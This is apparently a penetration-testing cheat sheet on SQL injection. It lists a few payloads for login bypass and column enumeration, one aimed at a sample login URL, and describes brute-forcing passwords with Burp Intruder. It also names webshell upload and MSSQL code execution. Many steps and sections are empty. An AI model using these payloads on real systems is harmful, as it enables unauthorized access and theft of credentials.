SQL Injection (SQLi)
Blind Testing Payload:
' ORDER BY NUM;-- - (Keep increasing the NUM value until you get an error. This not only confirms an SQLi vulnerability, but also enumerates the database columns as well)1) Input box non-string
payload:
1 or 1=1-- -2) Input box string
payload:
1' or '1'='1'-- -3) URL injection
payload:
http://site.com/sqli/login?profile=-1'or 1=1-- -&password=a4) POST injection
Use proxy (Burp) or remove/disable JavaScript
Database Identification
1) MySQL and MSSQL:
2) Oracle:
3) SQLite:
Database enumeration:
Columns enumeration:
TIP:
Keep adding NULL until you see an error. The last correct query reveals the amount of columns in the database.
Manual Enumeration
1)
2)
3)
4)
5)
6)
BOOLEAN BLIND SQL INJECTION
Tools: Burpsuite Intruder Sniper Mode
Usage:
1)
2) Intruder mode: Sniper. Payload list: Whole alphabet and numbers
3) Essentially, we brute-force the database to give us an answer if the letter/number exists (hence the boolean-based SQLi) based on the function/database content (users/passwords) it contains.
SQL Injection Webshell Upload
Requirements: User has write access to the server via SQL injection
1)
2)
3)
MySQL
MySQL Operator Precedence
SQL Injection
Boolean-based
Time-based
DNS OOB
SQL Function
SQL Query
[MSSQL] RCE
[MSSQL] NetNTLM
[MSSQL] File Read
Sample payloads list
Authentication Bypass
Last updated